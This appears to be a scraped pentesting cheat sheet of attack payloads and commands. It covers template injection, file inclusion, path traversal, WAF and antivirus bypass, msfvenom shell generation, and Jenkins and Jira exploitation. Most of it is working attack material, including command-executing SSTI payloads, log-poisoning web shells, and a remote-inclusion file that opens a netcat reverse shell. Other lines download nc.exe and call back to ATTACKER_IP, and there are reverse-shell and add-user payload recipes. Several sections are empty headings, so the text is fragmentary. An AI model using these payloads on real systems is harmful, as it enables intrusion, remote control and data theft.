    # Try also with use kibana_system
    # Version < 6.6.0 = RCE (https://github.com/LandGrey/CVE-2019-7609/)
    # Pipelines config: /etc/logstash/pipelines.yml
    # Check pipelines with this property: "config.reload.automatic: true"
    # If file wildcard is specified:
    ###################
    input {
      exec {
        command => "whoami"
        interval => 120
      }
    }
    
    output {
      file {
        path => "/tmp/output.log"
        codec => rubydebug
      }
    }
    ####################
    # Tool
    # https://github.com/epinna/tplmap
    tplmap.py -u 'http://www.target.com/page?name=John'
    
    # Payloads
    # https://github.com/payloadbox/ssti-payloads
    
    # Oneliner
    # Check SSTI in all param with qsreplace
    waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
    ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/
    # Check in burp for reponses with ssti81
    
    # Generic
    ${{<%[%'"}}%\.
    {% debug %}
    {7*7}
    {{ '7'*7 }}
    {{ [] .class.base.subclassesO }}
    {{''.class.mro()[l] .subclassesO}}
    for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
    {{ [].__class__.__base__.__subclasses__O }}
    
    # PHP Based
    {php}print "Hello"{/php}
    {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
    {{7*7}}
    {{7*'7'}}
    {{dump(app)}}
    {{app.request.server.all|join(',')}}
    "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    {$smarty.version}
    {php}echo `id`;{/php}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    
    # Node.js Backend based 
    {{ this }}-> [Object Object]
    {{ this.__proto__ }}-> [Object Object]
    {{ this.__proto__.constructor.name }}-> Object
    {{this.constructor.constructor}}
    {{this. constructor. constructor('process.pid')()}}
    {{#with "e"}}
    {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('whoami');"}}
    {{this.pop}}
    {{#each conslist}}
    {{#with (string.sub.apply 0 codelist)}}
    {{this}}
    {{/with}}
    {{/each}}
    #set($str=$class.inspect("java.lang.String").type)
    #set($chr=$class.inspect("java.lang.Character").type)
    #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    $ex.waitFor()
    #set($out=$ex.getInputStream())
    #foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
    #end
    
    # Java
    ${7*7}
    <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
    ${{7*7}}
    ${class.getClassLoader()}
    ${class.getResource("").getPath()}
    ${class.getResource("../../../../../index.htm").getContent()}
    ${T(java.lang.System).getenv()}
    ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
    
    # Ruby
    <%= system("whoami") %>
    <%= Dir.entries('/') %>
    <%= File.open('/example/arbitrary-file').read %>
    
    # Python
    {% debug %}
    {{settings.SECRET_KEY}}
    {% import foobar %} = Error
    {% import os %}{{os.system('whoami')}}
    
    # Perl
    <%= perl code %>
    <% perl code %>
    
    # Flask/Jinja2
    {{ '7'*7 }}
    {{ [].class.base.subclasses() }} # get all classes
    {{''.class.mro()[1].subclasses()}}
    {%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    
    # .Net
    @(1+2)
    @{// C# code}
    # Basic LFI
    curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
    
    # If LFI, also check
    /var/run/secrets/kubernetes.io/serviceaccount
    
    # PHP Filter b64
    http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
    http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
    http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
    # Nullbyte ending
    http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt
    http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
    # Other techniques
    https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
    https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
    https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
    https://abc.redact.com/asd.php?file:///etc/passwd
    https://abc.redact.com/asd.php?file:///etc/passwd%00
    https://abc.redact.com/asd.php?file:///etc/passwd%00.html
    https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
    https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
    https://target.com/admin..;/
    https://target.com/../admin
    https://target.com/whatever/..;/admin
    https://target.com/whatever.php~
    # Cookie based
    GET /vulnerable.php HTTP/1.1
    Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
    # LFI Windows
    http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
    http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
    http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext
    
    # LFI using video upload:
    https://github.com/FFmpeg/FFmpeg
    https://hackerone.com/reports/226756
    https://hackerone.com/reports/237381
    https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
    https://github.com/neex/ffmpeg-avi-m3u-xbin
    
    # Contaminating log files
    root@kali:~# nc -v 10.11.1.111 80
    10.11.1.111: inverse host lookup failed: Unknown host
    (UNKNOWN) [10.11.1.111] 80 (http) open
     <?php echo shell_exec($_GET['cmd']);?> 
    http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig
    
    # Common LFI to RCE:
        Using file upload forms/functions
        Using the PHP wrapper expect://command
        Using the PHP wrapper php://file
        Using the PHP wrapper php://filter
        Using PHP input:// stream
        Using data://text/plain;base64,command
        Using /proc/self/environ
        Using /proc/self/fd
        Using log files with controllable input like:
            /var/log/apache/access.log
            /var/log/apache/error.log
            /var/log/vsftpd.log
            /var/log/sshd.log
            /var/log/mail
    
    # LFI possibilities by filetype
        ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
        SVG: Stored XSS / SSRF / XXE
        GIF: Stored XSS / SSRF
        CSV: CSV injection
        XML: XXE
        AVI: LFI / SSRF
        HTML / JS : HTML injection / XSS / Open redirect
        PNG / JPEG: Pixel flood attack (DoS)
        ZIP: RCE via LFI / DoS
        PDF / PPTX: SSRF / BLIND XXE
        
    # Chaining with other vulns    
    ../../../tmp/lol.png —> for path traversal
    sleep(10)-- -.jpg —> for SQL injection
    <svg onload=alert(document.domain)>.jpg/png —> for XSS
    ; sleep 10; —> for command injections
    
    # 403 bypasses
    /accessible/..;/admin
    /.;/admin
    /admin;/
    /admin/~
    /./admin/./
    /admin?param
    /%2e/admin
    /admin#
    /secret/
    /secret/.
    //secret//
    /./secret/..
    /admin..;/
    /admin%20/
    /%20admin%20/
    /admin%20/page
    /%61dmin
    
    # Path Bypasses
    # 16-bit Unicode encoding
    # double URL encoding
    # overlong UTF-8 Unicode encoding
    ….//
    ….\/
    …./\
    ….\\
    # RFI:
    http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
    Content of evil.txt:
    <?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
    # RFI over SMB (Windows)
    cat php_cmd.php
        <?php echo shell_exec($_GET['cmd']);?>
    # Start SMB Server in attacker machine and put evil script
    # Access it via browser (2 request attack):
    # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
    # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
    
    # Cross Content Hijacking:
    https://github.com/nccgroup/CrossSiteContentHijacking
    https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
    http://50.56.33.56/blog/?p=242
    
    # Encoding scripts in PNG IDAT chunk:
    https://yqh.at/scripts_in_pngs.php
    
    # Bypass whitelist
    inti(;[email protected];)@whitelisted.com
    [email protected](@whitelisted.com)
    inti+(@whitelisted.com;)@inti.io
    
    #HTML Injection in Gmail
    inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com
    
    # Bypass strict validators
    # Login with SSO & integrations
    GitHub & Salesforce allow xss in email, create account and abuse with login integration
    
    # Common email accounts
    support@
    jira@
    print@
    feedback@
    asana@
    slack@
    hello@
    bug(s)@
    upload@
    service@
    it@
    test@
    help@
    tickets@
    tweet@

    XXE

    Summary

    XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.

    Detection:

    # Content type "application/json" or "application/x-www-form-urlencoded" to "applcation/xml".
    # File Uploads allows for docx/xlsx/pdf/zip, unzip the package and add your evil xml code into the xml files.
    # If svg allowed in picture upload, you can inject xml in svgs.
    # If the web app offers RSS feeds, add your milicious code into the RSS.
    # Fuzz for /soap api, some applications still running soap apis
    # If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse

    Check:

    If works, then:

    Tools

    Attacks

    Mindmap

    WAFs

    Tools

    whatwaf https://example.com
    wafw00f https://example.com
    
    # https://github.com/vincentcox/bypass-firewalls-by-DNS-history
    bash bypass-firewalls-by-DNS-history.sh -d example.com
    
    # Bypasser
    # https://github.com/RedSection/pFuzz
    # https://github.com/nemesida-waf/waf-bypass
    
    # Domain IP history
    https://viewdns.info/iphistory/
    
    # Bypasses and info
    https://github.com/0xInfection/Awesome-WAF
    https://github.com/waf-bypass-maker/waf-community-bypasses

    Payloads

    msfvenom

    Bypass AV

    # Veil Framework:
    https://github.com/Veil-Framework/Veil
    
    # Shellter
    https://www.shellterproject.com/download/
    
    # Sharpshooter
    # https://github.com/mdsecactivebreach/SharpShooter
    # Javascript Payload Stageless: 
    SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
    
    # Stageless HTA Payload: 
    SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
    
    # Staged VBS:
    SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
    
    # Donut: 
    https://github.com/TheWover/donut
    
    # Vulcan
    https://github.com/praetorian-code/vulcan

    Bypass Amsi

    Office Docs

    six2dez is sharing knowledgeBuy Me a Coffee

    Jenkins

    Common bugs

    Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

    Use to generate a payload. Then RCE using

    Jira

    OAuth

    Explanation

    Bugs

    Tales of sharepoint API misconfigurationsMedium
    Subdomain Takeover: Proof Creation for Bug BountiesPatrik Hudak
    # Manual identification
    dig +short target.com
    curl -s https://ipinfo.io/<ip address> | jq -r '.com'
    
    # Always check DNS History for original IP leak
    https://whoisrequest.com/history/
    
    # Waf detection
    nmap --script=http-waf-fingerprint victim.com
    nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 victim.com
    nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " victim.com
    wafw00f victim.com
    
    # Good bypass payload:
    %0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
    javascript:”/*’/*`/* →<html \” onmouseover=/*&lt;svg/*/onload=alert()//>
    
    # Bypass trying to access to :
    dev.domain.com
    stage.domain.com
    ww1/ww2/ww3...domain.com
    www.domain.uk/jp/
    
    # Akamai
    origin.sub.domain.com
    origin-sub.domain.com
    - Send header:
    Pragma: akamai-x-get-true-cache-key
    {{constructor.constructor(alert`1`)()}}
    \');confirm(1);//
    444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
    
    # ModSecurity Bypass
    <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
    
    # Cloudflare
    python3 cloudflair.py domain.com
    # https://github.com/mandatoryprogrammer/cloudflare_enum
    cloudflare_enum.py disney.com
    https://viewdns.info/iphistory/?domain=domain.com
    https://whoisrequest.com/history/
    
    # Cloudflare bypasses
    <!<script>alert(1)</script>
    <a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>
    <img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
    <select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
    <a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>
    
    # Aqtronix WebKnight WAF
    - SQLi
    0 union(select 1,@@hostname,@@datadir)
    0 union(select 1,username,password from(users))
    - XSS
    <details ontoggle=alert(document.cookie)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # ModSecurity
    - XSS
    <scr%00ipt>alert(document.cookie)</scr%00ipt>
    onmouseover%0B=
    ontoggle%0B%3D
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
    - SQLi
    1+uni%0Bon+se%0Blect+1,2,3
    
    # Imperva Incapsula
    https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
    url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
    <img/src=q onerror='new Function`al\ert\`1\``'>
    - Parameter pollution SQLi
    http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
    http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-
    -XSS
    %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
    <img/src="x"/onerror="[7 char payload goes here]">
    
    # FAIL2BAN SQLi
    (SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    
    # F5 BigIP
    RCE: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
    Read File: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
    - XSS
    <body style="height:1000px" onwheel=alert(“123”)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
    <body style="height:1000px" onwheel="[JS-F**k Payload]"> 
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
    (![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
    )[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
    +[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
    ]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
    ]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" on-
    show="prom%25%32%33%25%32%36x70;t(1)">
    
    # More payloads
    https://github.com/Walidhossain010/WAF-bypass-xss-payloads
    
    # Wordfence
    <meter onmouseover="alert(1)"
    '">><div><meter onmouseover="alert(1)"</div>"
    >><marquee loop=1 width=0 onfinish=alert(1)>
    
    # RCE WAF globbing bypass
    /usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/???/p?s?w?
    cat /etc$u/p*s*wd$u
    # Creating a payload
    msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]
    
    # List of payloads
    msfvenom -l payloads
    
    # Payload options
    msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options
    
    # Creating a payload with encoding
    msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration]  > outputfile
    
    # Creating a payload using a template
    msfvenom -p [payload]  -x [template] -f [formattype] > outputfile
    
    # Listener for MSfvenom Payloads:
    msf5>use exploit/multi/handler  
    msf5>set payload windows/meterpreter/reverse_tcp  
    msf5>set lhost   
    msf5>set lport   
    msf5> set ExitOnSession false  
    msf5>exploit -j  
    
    #  Windows Payloads
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe    
    msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe    
    msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe    
    msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe    
    msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
    
    #  Linux Payloads
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf    
    msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf    
    msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf    
    msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
    
    # Add a user in windows with msfvenom: 
    msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe
    
    #  Web Payloads
    
    # PHP
    msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
    cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
    
    # ASP
    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
    
    # JSP
    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
    
    # WAR
    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
    
    #  Scripting Payloads
    
    # Python
    msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
    
    # Bash
    msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
    
    # Perl
    msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
    
    # Creating an Msfvenom Payload with an encoder while removing bad charecters:
    msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x0A\x0D"
    
    https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/
    # Testing for Amsi Bypass:
    https://github.com/rasta-mouse/AmsiScanBufferBypass
    
    # Amsi-Bypass-Powershell
    https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
    
    https://blog.f-secure.com/hunting-for-amsi-bypasses/
    https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
    https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
    https://slaeryan.github.io/posts/falcon-zero-alpha.html
    https://github.com/thelinuxchoice/eviloffice
    https://github.com/thelinuxchoice/evilpdf
    :

    Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

    Details here.

    If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

    Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

    Original RCE vulnerability here, full exploit here.

    Alternative RCE with Overall/Read and Job/Configure permissions here.

    CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

    Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

    Execute arbitrary bash commands:

    If you don't immediately get a reverse shell you can debug by throwing an exception:

    Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

    This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

    Dumping builds to find cleartext secrets

    Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

    Password spraying

    Use this python script.

    Files to copy after compromising

    These files are needed to decrypt Jenkins secrets:

    • secrets/master.key

    • secrets/hudson.util.Secret

    Such secrets can usually be found in:

    • credentials.xml

    • jobs/.../build.xml

    Here's a regexp to find them:

    Decrypt Jenkins secrets offline

    Use this script to decrypt previously dumped secrets.

    Groovy Scripts

    Decrypt Jenkins secrets from Groovy

    Command execution from Groovy

    For multiline shell commands, use the following shell syntax trick (example includes bind shell):

    Automate it using this script.

    Reverse shell from Groovy

    I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

    ysoserial
    this script
    # Jira Scanner
    # https://github.com/bcoles/jira_scan
    # https://github.com/MayankPandey01/Jira-Lens
    
    # cve-2019-8449 
    # The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. 
     https://jira.atlassian.com/browse/JRASERVER-69796
     https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
    
    # cve-2019-8451:ssrf-response-body 
    # The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.
    https://jira.atlassian.com/browse/JRASERVER-69793?jql=labels%20%3D%20
    https://victomhost/plugins/servlet/gadgets/makeRequest?url=https://victomhost:[email protected]
    
    #RCE Jira=CVE-2019–11581
    #https://hackerone.com/reports/706841
    /secure/ContactAdministrators!default.jspa
    
    # cve-2018-20824
    # vulnerable to Server Side Request Forgery (SSRF). This allowed a XSS and or a SSRF attack to be performed. More information about the Atlassian OAuth plugin issue see https://ecosystem.atlassian.net/browse/OAUTH-344 . When running in an environment like Amazon EC2, this flaw can used to access to a metadata resource that provides access credentials and other potentially confidential information. 
     https://victomhost/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
    
    # cve-2020-14179 
    # Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.
    REF=https://jira.atlassian.com/browse/JRASERVER-71536
    POC: 
    https://victomhost/secure/QueryComponent!Default.jspa
    
    # cve-2020-14181 
    # Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint.
    Ref=https://jira.atlassian.com/browse/JRASERVER-71560?jql=text%20~%20%22cve-2020-14181%22
    # POC:
    https://victomhost/secure/ViewUserHover.jspa
    https://victomhost/ViewUserHover.jspa?username=Admin
    https://hackerone.com/reports/380354
    
    # CVE-2018-5230
    # https://jira.atlassian.com/browse/JRASERVER-67289
    #HOW TO EXPLOIT:
    https://host/issues/?filter=-8
    #Go to the link above
    #Click the "Updated Range:" text area
